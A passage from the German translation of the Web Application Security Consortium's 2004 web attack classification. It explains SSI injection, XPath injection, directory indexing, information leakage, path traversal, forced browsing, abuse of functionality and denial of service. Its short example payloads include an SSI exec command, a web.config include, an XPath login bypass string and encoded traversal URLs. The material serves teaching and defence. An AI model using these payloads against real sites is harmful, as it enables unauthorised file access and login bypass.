http://www.netsecurity.org/dl/articles/IntegrigyIntrotoSQLInjectionAttacks.pdf
1.6
SSI Injection
SSI-Injection (Server-Side-Include) ist eine serverseitige
Angriffsmethode, die einem Angreifer erlaubt, einer Webanwendung
Code zu senden, der dann später lokal auf dem Webserver ausgeführt
wird. SSI-Injection nutzt aus, dass die Webanwendung die
Benutzereingaben nicht filtert bevor sie in die serverseitig interpretierten
HTML-Dateien eingefügt werden.
Wenn eine HTML-Seite ausgeliefert wird, wird die Seite vom Webserver
zuerst analysiert und Server-Side-Include-Befehle werden ausgeführt
bevor sie dem Benutzer angezeigt werden. In einigen Fällen (z. B.
Nachrichten-Boards, Gästebücher oder Content-ManagementSystemen) wird die Webanwendung Daten, die durch den Benutzer
übergeben wurden, in die Seite einbauen.
Wenn ein Angreifer einen SSI-Befehl eingibt, dann hat er die
385
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
Möglichkeit willkürliche Befehle auf dem Betriebssystem auszuführen
oder eine Datei mit vertraulichem Inhalt einzubinden, welcher dann
beim nächsten Besuch der Seite angezeigt wird.
Beispiel
Das folgende SSI-Tag kann einem Angreifer ermöglichen, ein
Verzeichnislisting des root-Verzeichnisses auf einem UNIX-basierten
System zu erhalten:
<!--#exec cmd="/bin/ls /" -->
Das folgende SSI-Tag erlaubt einem Angreifer die DatenbankVerbindungsdaten oder andere sensible Daten aus der .NETKonfigurationsdatei zu erhalten:
<!--#INCLUDE VIRTUAL="/web.config"-->
Referenzen
„Server Side Includes (SSI)” – NCSA HTTPd
http://hoohoo.ncsa.uiuc.edu/docs/tutorials/includes.html
„Security Tips for Server Configuration” – Apache HTTPD
http://httpd.apache.org/docs/misc/security_tips.html#ssi
„Header Based Exploitation: Web Statistical Software Threats” –
CGISecurity.com
http://www.cgisecurity.net/papers/header-based-exploitation.txt
„A practical vulnerability analysis”
http://hexagon.itgo.com/Notadetapa/a_practical_vulnerability_analys.ht
m
1.7
XPath Injection
XPath-Injection ist eine Angriffsmethode, die Websites angreift, die
XPath-Anfragen von Benutzereingaben konstruieren.
395
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
XPath 1.0 ist eine Sprache, die benutzt wird, um auf Teile eines XMLDokuments zu verweisen. Sie kann von Anwendungen benutzt werden,
um ein XML-Dokument direkt abzufragen. Oder sie kann Teil einer
größeren Operation mit einem XML-Dokument wie z. B. eine XSLTTransformation oder Teil einer XQuery für das XML-Dokument sein.
Die Syntax von XPath ist sehr ähnlich zu SQL-Abfragen und es ist
tatsächlich möglich mit XPath SQL-ähnliche Anfragen an ein XMLDokument zu stellen. Nehmen wir z. B. ein XML-Dokument welches
Elemente mit Namen user enthält, wobei jedes weitere 3 Elemente name, password und account- enthält. Der folgende XPath-Ausdruck
liefert die account-Nummer (oder einen leeren String falls der
Benutzer nicht existiert) des Benutzers, dessen Name „jsmith” ist und
dessen Passwort „Demo1234” ist:
string(//user[name/text()='jsmith' and
password/text()='Demo1234']/account/text())
Wenn eine Anwendung zur Laufzeit XPath-Abfragen aufbaut, die
unsichere Benutzereingaben enthalten, dann ist es für einen Angreifer
möglich Daten so in die Abfrage einzubauen, dass diese in einer
anderen Art und Weise als vom Programmierer beabsichtigt verarbeitet
wird.
Beispiel
Nehmen wir an, dass die Webanwendung XPath benutzt, um mit Hilfe
eines XML-Dokuments die Account-Nummer eines Benutzers
abzufragen, dessen Name und Passwort vom Client kommen. Eine
solche Anwendung wird diese Werte direkt in die XPath-Abfrage
einbauen, wobei sie dann eine Schwachstelle erzeugt. Beispiel
(Annahme: Microsoft ASP.NET und C#):
XmlDocument XmlDoc = new XmlDocument();
XmlDoc.Load("...");
XPathNavigator nav = XmlDoc.CreateNavigator();
405
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
XPathExpression expr =
nav.Compile("string(//user[name/text()='"+TextBox1.Text+"' and
password/text()='"+TextBox2.Text+ "']/account/text())");
String account=Convert.ToString(nav.Evaluate(expr));
if (account=="") {
// name+password pair is not found in the XML document –
// login failed.
} else {
// account found -> Login succeeded.
// Proceed into the application.
}
Wenn dieser Code benutzt wird, dann kann ein Angreifer XPathAusdrücke injizieren, z B. durch folgende Angabe als Benutzername:
' or 1=1 or ''='
Dies führt dazu, dass sich die Semantik der originalen XPath-Anfrage
so ändert, dass sie immer die erste account-Nummer des XMLDokuments liefert. Die Abfrage wird wie folgt aussehen:
string(//user[name/text()='' or 1=1 or ''='' and
password/text()='foobar']/account/text())
Das ist identisch zu (da das Prädikat für alle Elemente true wird):
string(//user/account/text())
was den ersten Wert aus //user/account/text() liefert.
Darum resultiert der Angriff darin, dass der Angreifer, obwohl er keinen
415
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
gültigen Benutzernamen oder kein gültiges Passwort eingegeben hat,
(als der erste Benutzer, welcher im XML-Dokument gelistet ist)
angemeldet wird.
Referenzen
„XML Path Language (XPath) Version 1.0” - W3C Recommendation, 16
Nov 1999
http://www.w3.org/TR/xpath
„Encoding a Taxonomy of Web Attacks with Different-Length Vectors” G. Alvarez and S. Petrovic
http://arxiv.org/PS_cache/cs/pdf/0210/0210026.pdf
„Blind XPath Injection” - Amit Klein
http://www.sanctuminc.com/pdfc/WhitePaper_Blind_XPath_Injection_20
040518.pdf
5 Information Disclosure
Der Abschnitt Information-Disclosure beschreibt Angriffe, die darauf
abzielen systemspezifische Informationen einer Website zu bekommen.
Systemspezifische Informationen beinhalten die Softwaredistribution,
Versionsnummern und Patch-Levels. Weitere Informationen kann der
Speicherort von Backupdateien und temporären Dateien sein. In den
meisten Fällen ist die Offenlegung dieser Informationen für den Betrieb
der Website nicht nötig. Die meisten Websites legen einige Daten offen,
es ist allerdings zu empfehlen, so wenig Daten wie möglich
preiszugeben. Je mehr Informationen ein Angreifer über die Website
erhält, umso einfacher wird es, das System zu schädigen.
1.1
Directory Indexing
Directory-Indexing ist eine Funktion des Webservers, die, wenn die
übliche Standarddatei (index.html, home.html, default.htm)
fehlt, automatisch alle Dateien im Verzeichnis zeigt,. Wenn ein Benutzer
die Hauptseite einer Website anfordert, wird normalerweise eine URL
wie: http://www.example eingegeben – einfach der Domainname
und keine spezielle Datei. Der Webserver bearbeitet diesen Request
425
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
indem im Wurzelverzeichnis nach einer Datei mit Standardnamen
gesucht wird und diese dann dem Client gesendet wird. Wenn diese
Seite nicht existiert, dann liefert der Webserver eine Verzeichnislisting
und sendet dies dem Client. Im Wesentlichen ist das vergleichbar mit
dem „ls” (Unix) oder „dir” (Windows) Befehl innerhalb eines
Verzeichnisses, wobei das Ergebnis im HTML-Format angezeigt wird.
Es ist dabei zu beachten, dass unbeabsichtigte Verzeichnislistings
durch Software-Schwachstellen (wie im Beispiel unten gezeigt) in
Kombination mit einem speziellen Request möglich werden.
Wenn ein Webserver den Inhalt eines Verzeichnisses zeigt, dann kann
das Listing Informationen enthalten, die nicht für die Öffentlichkeit
bestimmt sind. Oft vertrauen Webadministratoren auf „Security Through
Obscurity” in der Annahme, dass wenn es keine Hyperlinks zu diesen
Dokumenten gibt, diese auch nicht gefunden werden, bzw. niemand
nach ihnen suchen kann. Diese Annahme ist falsch. Heutige
Schwachstellen-Scanner, wie z. B. Nikto, können dynamisch
zusätzliche Verzeichnisse und Dateien, die bei vorangegangenen Tests
gefunden wurden, in ihre Scans einbinden. Durch Analyse der
/robots.txt -Datei und/oder dem Inhalt von Verzeichnislistings,
können die Schwachstellen-Scanner dann den Webserver nach
weiteren neuen Daten fragen. Obwohl Directory-Indexing eigentlich
harmlos ist, kann es sich um ein Informationsleck handeln, die einem
Angreifer mit Informationen versorgt, um weitere Angriffe gegen das
System auszuführen.
Beispiel
Folgende Information kann man aus Verzeichnislistings erhalten:
 Backupdateien – mit Endungen wie .bak, .old oder .orig.
 temporäre Dateien – solche Dateien werden normalerweise vom
Server entfernt, sind aber aus irgendwelchen Gründen immer noch
vorhanden.
 versteckte Dateien – z. B. Dateinamen, die mit „.” beginnen.
 Namenskonventionen - ein Angreifer kann in der Lage sein, das
durch die Website benutzte Konstruktionsschema der Benennung
der Verzeichnisse und Dateien zu erkennen. Beispiel: Admin vs.
admin, backup vs. back-up, usw..
 Benutzer-Accounts enummerieren - auf Webserver sind die HomeVerzeichnisse oft nach dem persönlichen Benutzer-Account435
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
Namen benannt.
 Inhalt von Konfigurationsdateien – diese Dateien können
Zugangsdaten enthalten und haben oft Endungen wie .conf, .cfg
oder .config.
 Inhalt von Skripten – die meisten Webserver erlauben die
Ausführung von Skripten wenn diese in einem bestimmten
Verzeichnis (z. B. /cgi-bin) liegen oder wenn der Server so
konfiguriert ist, dass Dateien entsprechend den gesetzten
Dateirechten ausgeführt werden (z. B. das x-Bit auf *nix-Systemen
und die Verwendung der XbitHack-Directive beim Apache). Durch
diese Optionen und wenn Directory-Indexing für cgi-bin erlaubt ist,
ist es möglich (wenn die Dateirechte stimmen) den Skriptcode
herunterzuladen.
Es gibt 3 verschiedene Szenarios, die es einem Angreifer ermöglichen
ein unbeabsichtigtes Directory-Listing/Indexing zu erhalten:
1) Der Webserver ist irrtümlicherweise so konfiguriert, dass
Directory-Indexing erlaubt ist. Verwirrung für den WebAdministrator entsteht oft, wenn die Indexing-Directiven in der
Konfigurationsdatei stehen. Möglicherweise erhält man
unerwartete Ergebnisse, wenn komplizierte Einstellungen zu
machen sind, die z. B. Directory-Indexing für ein Sub-Directory
erlauben, während es für den Rest des Server nicht erlaubt ist.
Aus Sicht des Angreifers ist der HTTP-Request identisch zum
vorherigen. Es wird nach einem Verzeichnis gefragt, um zu sehen,
ob man den gewünschten Inhalt erhält. Es interessiert nicht
„warum” der Webserver so konfiguriert wurde.
2) Einige Teile des Webservers erlauben ein Directory-Indexing auch
dann, wenn es in der Konfigurationsdatei deaktiviert ist oder eine
entsprechende Index-Datei vorhanden ist. Dies ist das einzig
gültige Szenario zur Ausnutzung des Directory-Indexing. Es
wurden unzählige Schwachstellen auf vielen Webservern
gefunden, die ein Directory-Indexing liefern, wenn ein spezieller
HTTP-Request gesendet wird.
3) Die Googles-Cache-Datenbank kann historische Daten enthalten,
die Verzeichnislistings von früheren Scans einer bestimmten
Website enthalten.
445
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
Referenzen
Directory-Indexing-Vulnerabilities-Alerts
http://www.securityfocus.com/bid/1063
http://www.securityfocus.com/bid/6721
http://www.securityfocus.com/bid/8898
Nessus „Remote File Access” Plugin Web page
http://cgi.nessus.org/plugins/dump.php3?family=Remote%20file%20acc
ess
Web Site Indexer Tools
http://www.download-freewareshareware.com/Internet.php?Theme=112
Intrustion Prevention for Web
http://www.modsecurity.org
Search Engines as a Security Threat
http://it.korea.ac.kr/class/2002/software/Reading%20List/Search%20En
gines%20as%20a%20Security%20Threat.pdf
The Google Hacker's Guide
http://johnny.ihackstuff.com/security/premium/The_Google_Hackers_Gu
ide_v1.0.pdf
1.2
Information Leakage
Eine Information-Leakage-Schwachstellle liegt vor, wenn eine Website
sensible Daten (z. B. Kommentare der Entwickler oder
Fehlermeldungen), die einem Angreifer helfen das System zu
missbrauchen, ausgibt. Sensible Informationen können in HTMLKommentaren, Fehlermeldungen, Quellcodes oder einfach als Text
sichtbar sein. Es gibt viele Wege wie eine Website dazu gebracht
werden kann diese Art von Informationen preiszugeben. Obwohl solche
Lecks nicht unbedingt eine Verletzung der Sicherheit darstellen, so
geben sie einem Angreifer doch gute Anleitungen für deren zukünftige
Ausnutzung. Die Preisgabe sensibler Informationen kann verschiedene
455
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
Risiken bergen und sollte daher wann immer möglich vermieden
werden.
Im ersten Fall (Kommentare im Code, ausführliche Fehlermeldungen,
usw.) gibt das Leck dem Angreifer kontextuelle Informationen über die
Verzeichnisstruktur, SQL-Abfrage-Struktur und Namen von wichtigen
Prozessen, die von der Website benutzt werden. Oft lassen Entwickler
Kommentare im HTML- und Skript-Code stehen, um Debugging oder
die spätere Integration zu unterstützen. Diese Informationen reichen
von einfachen Kommentaren, die beschreiben wie das Skript arbeitet,
bis zu - im schlimmsten Fall - Benutzernamen und Passwörter, welche
während der Testphase der Entwicklung benutzt wurden.
Ein Informationsleck kann auch sein, wenn Daten, die als vertraulich
erachtet werden, nicht ausreichend durch die Website geschützt
werden. Diese Daten können Kontonummern, Benutzer-IDs,
Führerscheinnummer, Passnummer, Versicherungsnummer, usw. und
benutzerspezifische Daten (Kontostand, Adresse und
Transaktionshistorie) sein.
Ungenügende Authentifizierung, ungenügende Autorisierung und
sichere Verschlüsselung der Übertragung haben auch mit dem Schutz
und passender Zugriffskontrolle auf Daten zu tun. Viele Angriffe fallen
nicht in den Bereich der Webanwendung selbst, wie z. B.: clientseitige
Angriffe („über die Schulter schauen”). Informationslecks in diesem
Zusammenhang haben mit der Offenlegung wichtiger Benutzerdaten,
die als vertraulich oder geheim erachtet werden und nicht preisgegeben
werden sollten, zu tun. Kreditkartennummern sind das beste Beispiel
von Benutzerdaten, die auch dann wenn sie gut verschlüsselt und mit
Zugriffsschutz gesichert sind, besonderen Schutz vor Offenlegung
bedürfen.
Beispiel
Es gibt 3 Hauptkategorien von Informationslecks: Kommentare im
Code, ausführliche Fehlermeldungen und vertrauliche Daten im
Klartext.
Kommentare im HTML-Code:
<TABLE border="0" cellPadding="0" cellSpacing="0" height="59"
465
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
width="591">
<TBODY>
<TR>
<!--If the image files are missing, restart
VADER -->
<TD bgColor="#ffffff" colSpan="5" height="17"
width="587"> </TD>
</TR>
Hier sehen wir einen Kommentar, der von Entwicklern/QA-Personen
zurückgelassen wurde und erklärt, was man tun muss, wenn die ImageDatei nicht angezeigt wird. Die Sicherheitsverletzung ist der Hostname
des Server, der explizit im Code genannt wird: VADER.
Eine ausführliche Fehlermeldung kann z. B. die Antwort auf eine
ungültige Abfrage sein. Ein prominentes Beispiel ist die
Fehlermeldungen in Verbindung mit einer SQL-Abfrage. SQL-InjectionAngriffe verlangen vom Angreifer, dass er die Struktur oder das Format
zur Erzeugung einer SQL-Abfrage kennt. Die Informationen, die durch
eine ausführliche Fehlermeldung gegeben werden, kann dem Angreifer
die entscheidende Information wie eine gültige SQL-Abfrage für die
Backend-Datenbank aussehen muss, geben.
Folgendes wurde geliefert, als ein Anführungszeichen ' im Feld des
Benutzernamens einer Login-Seite eingegeben wurde:
Ausführliche Fehlermeldung:
An Error Has Occurred.
Error Message:
System.Data.OleDb.OleDbException: Syntax error
(missing operator) in query expression 'username = '''
and password = 'g''. at System.Data.OleDb.OleDbCommand.
ExecuteCommandTextErrorHandling ( Int32 hr) at
System.Data.OleDb.OleDbCommand.
475
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
ExecuteCommandTextForSingleResult ( tagDBPARAMS dbParams,
Object& executeResult) at
In der ersten Fehlermeldung wird ein Syntaxfehler gemeldet. Die
Fehlermeldung zeigt die Abfrage-Parameter username und password,
die in der SQL-Abfrage benutzt wurden. Diese angezeigte Information
ist der entscheidende Hinweis für einen Angreifer, um einen SQLInjection-Angriff zu konstruieren und gegen die Website anzuwenden.
Referenzen
„Best practices with custom error pages in .Net”, Microsoft Support
http://support.microsoft.com/default.aspx?scid=kb;en-us;834452
„Creating Custom ASP Error Pages”, Microsoft Support
http://support.microsoft.com/default.aspx?scid=kb;en-us;224070
„Apache Custom Error Pages”, Code Style
http://www.codestyle.org/sitemanager/apache/errors-Custom.shtml
„Customizing the Look of Error Messages in JSP”, DrewFalkman.com
http://www.drewfalkman.com/resources/CustomErrorPages.cfm
ColdFusion Custom Error Pages
http://livedocs.macromedia.com/coldfusion/6/Developing_ColdFusion_M
X_Applications_with_CFML/Errors6.htm
Obfuscators :JAVA
http://www.cs.auckland.ac.nz/~cthombor/Students/hlai/hongying.pdf
1.3
Path Traversal
Mit der Path-Traversal-Angriffstechnik erhält man Zugriff auf Dateien,
Verzeichnisse und Befehle, die potentiell außerhalb des DocumentRootVerzeichnisses des Webservers liegen. Ein Angreifer kann eine URL so
manipulieren, dass die Website beliebige Dateien irgendwo auf dem
Webserver ausführt oder deren Inhalt anzeigt. Jedes Gerät, welches
eine HTTP-basierte Schnittstelle hat, ist potentiell mit Path-Traversal
angreifbar.
485
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
Die meisten Websites beschränken den Zugriff für den Benutzer auf
einen speziellen Teil des Dateisystems, üblicherweise „web document
root” oder „CGI root”-Verzeichnis genannt. Diese Verzeichnisse
enthalten die Dateien, die für den Zugriff durch den Benutzer bestimmt
sind, und die Dateien, deren Ausführung nötig ist, um die Funktionalität
der Webanwendung zu gewährleisten. Für den Dateizugriff und die
Ausführung von Befehlen irgendwo auf dem Dateisystem benutzen
Path-Traversal-Angriffe spezielle Zeichenfolgen.
Der einfachste Path-Traversal-Angriff benutzt die Zeichenfolge „../”,
um die Quelle in der URL zu ändern. Obwohl die meisten Webserver
vor diesem Angriff, um aus Document-Root auszubrechen, schützen,
helfen alternative „../” Sequenzen, die Sicherheitsfilter zu umgehen.
Diese Methode enthalten gültige und ungültige Unicode-Kodierungen
(„..%u2216” oder „..%c0%af”) des Slash-Zeichens, BackslashZeichens („..\”) auf Windows-basierten Servers, URL-kodierte Zeichen
(„%2e%2e%2f”) und doppelt URL-Kodierung („..%255c”) des
Backslash-Zeichens.
Wenn Benutzereingaben nicht ausreichend überprüft werden, kann
selbst dann wenn der Webserver Path-Traversal-Angriffsversuche in
der URL sicher verhindert, eine Webanwendung verwundbar sein. Das
ist ein häufiges Problem von Webanwendungen, die TemplateMechanismen benutzen oder statischen Text von Dateien lesen. Eine
Variation des Angriffs ist, wenn der original URL-Parameterwert durch
den Dateinamen eines Skripts der Webanwendung selbst ersetzt wird.
Folglich kann das Ergebnis der Quellcode des Skriptes sein, welches
als normaler Text interpretiert anstatt ausgeführt wird. Diese Technik
benutzt häufig zusätzliche spezielle Zeichen wie den Punkt („.”), um ein
Listing des aktuellen Verzeichnisses zu erhalten, oder „%00”- das NULZeichen – um grundlegende Prüfungen der Datei-Extension zu
umgehen.
Beispiel
Path-Traversal-Angriffe gegen einen Webserver
http://example/../../../../../some/file
http://example/..%255c..%255c..%255csome/file
495
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
http://example/..%u2216..%u2216some/file
Path-Traversal-Angriffe gegen eine Webanwendung
Original: http://example/foo.cgi?home=index.htm
Angriff: http://example/foo.cgi?home=foo.cgi
Im obigen Beispiel liefert die Webanwendung den Quelltext der Datei
foo.cgi, weil der Wert der Variablen home benutzt wurde. Der
Angreifer braucht hier keine besonderen Zeichen oder andere PathTraversal-Zeichen zu verwenden, damit der Angriff erfolgreich ist. Das
Ziel des Angreifers ist einfach ein andere Datei im gleichen Verzeichnis
wie index.html.
Path-Traversal-Angriffe gegen eine Webanwendung mit besonderen
Zeichenfolgen
Original: http://example/scripts/foo.cgi?page=menu.txt
Angriff:
http://example/scripts/foo.cgi?page=../scripts/foo.cg
i%00txt
Im obigen Beispiel liefert die Webanwendung den Quelltext der Datei
foo.cgi, durch Verwendung einer speziellen Zeichenfolge. Die
Zeichenfolge „../” wurde verwendet, um die Datei aus dem
Nachbarverzeichnis /scripts zu erhalten. Die Zeichenfolge „%00”
wurde benutzt, um die Prüfung der Datei-Extension zu umgehen und
um die von der Webanwendung angehängten Datei-Extension
abzuschneiden.
Referenzen
„CERT® Advisory CA-2001-12 Superfluous Decoding Vulnerability in
IIS”
http://www.cert.org/advisories/CA-2001-12.html
„Novell Groupwise Arbitrary File Retrieval Vulnerability”
http://www.securityfocus.com/bid/3436/info/
505
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
1.4 Predictable Resource Location
Predictable-Resource-Location ist eine Angriffsmethode, um
versteckten Inhalt oder versteckte Funktionalität einer Website zu
finden. Dieser Brute-Force-Angriff versucht durch geschicktes Erraten
Inhalt, der nicht öffentlich zugänglich ist, zu sehen. Temporäre Dateien,
Backupdateien, Konfigurationsdateien und Beispieldateien sind
Beispiele für „vergessene” Dateien. Diese Brute-Force-Suchen sind
einfach, weil versteckte Dateien oft üblichen Namensgebungen folgen
und in Standardverzeichnissen zu finden sind. Diese Dateien können
sensible Informationen über die Interna der Webanwendung, die
Datenbank, Passwörter, Rechnernamen, Dateipfade zu anderen
sensiblen Bereichen oder sogar zu potentiellen Schwachstellen
enthalten. Solche Informationen sind für einen Angreifer von großem
Wert.
Predictable-Resource-Location wird auch als Forced-Browsing, FileEnumeration, Directory-Enumeration, usw. bezeichnet.
Beispiel
Jeder Angreifer kann beliebige Datei- oder Verzeichnisanfragen an
jeden öffentlich verfügbaren Webserver senden. Die Existenz einer
Ressource kann durch Auswertung der HTTP-Antwort des Webservers
erfolgen. Es gibt verschiedene Predictable-Resource-Location-Angriffe:
Blinde Suche nach üblichen Dateien und Verzeichnissen
/admin/
/backup/
/logs/
/vulnerable_file.cgi
Anhängen von Extensions zu existierenden Dateinamen: (/test.asp)
/test.asp.bak
/test.bak
/test
515
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
6 Logical Attacks
Der Abschnitt Logische Angriffe beschreibt den Missbrauch oder das
Ausnutzen der logischen Abläufe in einer Webanwendung. Die
Applikationslogik ist der erwartete prozedurale Ablauf, der benutzt wird,
um eine bestimmte Aktion auszulösen. Beispiele für Anwendungslogik
sind Passwort-Wiederherstellung, Auktionen, Benutzer-Registration und
E-Commerce-Einkauf. Eine Website erwartet von einem Benutzer, dass
bestimmte Schritte in der Anwendung durchlaufen werden, um eine
Aktion auszulösen. Ein Angreifer kann in der Lage sein, diese Schritte
zu umgehen oder zu missbrauchen, um einer Website und deren
Benutzer Schaden zuzufügen.
1.1
Abuse of Functionality
Abuse-of-Functionality ist eine Angriffsmethode, die die Eigenschaften
und Funktionen der Website selbst benutzt, um Zugangskontrollen zu
verbrauchen, zu umgehen oder auszutricksen. Einige Funktionen einer
Website, vielleicht sogar Sicherheitsfunktionen, können missbraucht
werden, um ein unerwartetes Verhalten zu provozieren. Wenn eine
Funktionalität für Missbrauch anfällig ist, dann kann ein Angreifer
potentiell andere Benutzer belästigen oder sogar das System betrügen.
Der Grad der Missbrauchsmöglichkeiten variiert von Website zu
Website und Anwendung zu Anwendung.
Abuse-of-Functionality-Angriffe sind oft verbunden mit anderen
Kategorien von Webanwendungsangriffen, wie z. B. Encoding-Angriffe
um einen Query-String, der eine Websuchfunktion in einen RemoteWebproxy umfunktioniert, einzuschleusen. Abuse-of-FunctionalityAngriffe werden am Häufigsten benutzt, um die Wirkung andere Angriffe
zu verstärken. Ein Angreifer kann z. B. einen Cross-Site-ScriptingCodeteil in eine Web-Chat-Session einschleusen und dann die
eingebaute Broadcast-Funktion benutzen, um schadhaften Code durch
die Site zu verbreiten.
Ganz allgemein gesagt ziehen alle wirksamen Angriffe gegen
Computer-basierte Systeme Abuse-of-Functionality nach sich. Genauer
gesagt beschreibt diese Definition einen Angriff, der eine nützliche
Webanwendung, ohne oder nur durch kleine Veränderungen der
ursprünglichen Funktion, für einen boshafte Zweck missbraucht.
525
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
Beispiel
Beispiele für Abuse-of-Functionality sind:
 Verwendung der Suchfunktion einer Website um geschützte
Dateien außerhalb des Document-Root-Verzeichnisses zu
erreichen.
 Missbrauch der Datei-Upload-Funktion eines Subsystems, um
wichtige interne Konfigurationsdateien zu ersetzen.
 Ausführung eines DoS-Angriffs durch Überflutung eines WebLogin-Systems mit bekannten Benutzernamen aber falschen
Passwörtern, um den legitimen Benutzer auszusperren, wenn er
versucht sich anzumelden.
Andere reale Beispiele werden im Folgenden beschrieben.
Matt Wright FormMail
Die PERL-basierte Webanwendung „FormMail” wurde normalerweise
benutzt, um Benutzereingaben aus einem Formular zu einer
vorgegebenen E-Mail-Adresse zu senden. Das Skript bietet eine leicht
zu benutzende Lösung für Websites, um Feedback zu erhalten. Aus
diesem Grund war das FormMail-Skript eines der populärsten CGIProgramme. Unglücklicherweise wurde diese hohe Akzeptanz und die
Einfachheit des Skripts E-Mail an beliebige Empfänger zu senden, von
Angreifern ausgenutzt. Kurz gesagt wurde die Webanwendung durch
einen einzigen Request eines Browsers in ein Spam-Relay
umgewandelt.
Ein Angreifer musste nur eine URL basteln, die die gewünschte E-Mail
als Parameter hat, und damit einen HTTP-GET-Request zum CGISkript senden, z. B.:
http://example/cgi-bin/FormMail.pl?recipient=
[email protected]&message=you%20got%20spam
Pflichtgemäß würde die E-Mail erzeugt werden, wobei der Webserver
als Absender auftritt, und so die Webanwendung den Angreifer
vollständig vertritt (Proxy). Da für diese Version des Skripts keine
Sicherheitsmechanismen existierten, war die einzigste funktionsfähige
Maßnahmen, die E-Mail-Adresse fest zu kodieren. Andernfalls hätten
die Website-Administratoren die Webanwendung komplett ersetzen
535
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
oder entfernen müssen.
Macromedia Cold Fusion
Manchmal beinhalten Webanwendungen grundlegende Tools zur
Administration, die einfach unbeabsichtigt benutzt werden können.
Macromedias Cold Fusion z. B. hat standardmäßig ein eingebautes
Modul zur Anzeige des Quellcodes, das universell verwendbar ist.
Missbrauch dieses Moduls kann zu kritischen Informationslecks in der
Webanwendung führen. Oft sind solche Module nicht Beispieldateien
oder Zusatzfunktionen, sondern kritische Systemkomponenten. Das
macht die Abschaltung dieser Funktionen problematisch da sie an
existierende Webanwendungen gebunden sind.
Smartwin CyberOffice Shopping Cart Price Modification
Abuse-of-Functionality findet statt, wenn ein Angreifer Daten, um das
Verhalten der Webanwendung zu beeinflussen, in einer
unvorhergesehenen Weise verändert. Beim Beispielsweise kann beim
Online-Shoppingin einem Warenkorb das hidden-Feld für mit dem
Preis geändert werden. Die Seite wird normal angefordert, gespeichert
und geändert und dann mit dem beliebig gewünschten Wert für den
Preis zurückgeschickt.
Referenzen
„FormMail Real Name/Email Address CGI Variable Spamming
Vulnerability”
http://www.securityfocus.com/bid/3955
„CVE-1999-0800”
http://cve.mitre.org/cgi-bin/cvename.cgi?name=1999-0800
„CA Unicenter pdmcgi.exe View Arbitrary File”
http://www.osvdb.org/displayvuln.php?osvdb_id=3247
„PeopleSoft PeopleBooks Search CGI Flaw”
http://www.osvdb.org/displayvuln.php?osvdb_id=2815
„iisCART2000 Upload Vulnerability”
http://secunia.com/advisories/8927/
545
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
„PROTEGO Security Advisory #PSA200401”
http://www.protego.dk/advisories/200401.html
„Price modification possible in CyberOffice Shopping Cart”
http://archives.neohapsis.com/archives/bugtraq/2000-10/0011.html
1.2
Denial of Service
Denial-of-Service (DoS) ist eine Angriffstechnik, die das Ziel verfolg, die
üblichen Benutzeraktivitäten einer Website zu verhindern. DoS-Angriffe
finden normalerweise auf der Netzwerkebene (network layer) statt, sind
aber auch auf der Anwendungsebene (application layer) möglich. Diese
schädlichen Angriffe können Erfolg haben, indem sie das System dazu
bringen, kritische Ressourcen aufzubrauchen, oder indem sie eine
Schwachstelle ausnutzen oder Abuse-of-Functionality erreicht werden
kann.
Meistens versuchen DoS-Angriffe alle Ressourcen einer Website wie:
CPU, Hauptspeicher, Plattenplatz usw., zu verbrauchen. Wenn
irgendeine dieser kritischen Ressourcen vollständig verbraucht ist, dann
ist die Website normalerweise nicht mehr erreichbar.
Heutige Umgebungen von Webanwendungen bestehen aus
Webservern, Datenbankserver und einem Authentication-Server. DoS
auf der Anwendungsebene kann jeden diese Server unabhängig
voneinander zum Ziel haben. Anders als bei DoS auf der
Netzwerkebene, wo eine große Anzahl von Verbindungsversuchen
nötig ist, ist DoS auf der Anwendungsebene viel einfacher
durchzuführen.
Beispiel
Nehmen wir eine Website einer Krankenkasse, die einen Bericht mit
dem Krankenblatt erzeugt. Für jede Anforderung eines Berichts, fragt
die Website die Datenbank ab, um alle Berichte, die zu einer einzigen
Versicherungsnummer passen, zu erhalten. Angenommen dass
hunderttausende Berichte in der Datenbank (für alle Benutzer)
gespeichert sind, dann muss der Benutzer 3 Minuten warten, um sein
eigenes Krankenblatt zu erhalten. Um die passenden Einträge zu finden
lastet der Datenbankserver während dieser 3 Minuten die CPU zu 60%
aus.
555
Urheberrechtlich geschützt 2004, Web Application Security Consortium.
Alle Rechte vorbehalten
Ein üblicher DoS-Angriff auf Anwendungsebene wird 10 Requests für
einen solchen Bericht gleichzeitig senden. Diese Requests werden die
Website in eine DoS-Situation versetzen, da der Datenbankserver die
CPU zu nahezu 100% auslastet. In diesem Zeitraum wird das System
meistens nicht mehr in der Lage sein, normale Benutzeraktivitäten zu
bearbeiten.
DoS-Angriff auf einen bestimmten Benutzer
Ein Einbrecher wird wiederholt versuchen sich als dieser Benutzer in
eine Website einzuloggen und dabei bewusst ein falsches Passwort
verwenden. Dieses Vorgehen wird den Benutzer möglicherweise
aussperren.
DoS-Angriff auf den Datenbankserver
Ein Einbrecher wird SQL-Injection-Methoden benutzen, um die
Datenbank so zu modifizieren, dass das System unbenutzbar wird (z. B.
alle Daten löschen, alle Benutzernamen löschen, usw.).
DoS-Angriff auf den Webserver
Ein Einbrecher wird Buffer-Overflow-Methoden benutzen, um mit einem
speziell gebauten Request den Webserver-Prozess zum Absturz zu
bringen, womit das System für normal Benutzeraktivitäten nicht mehr
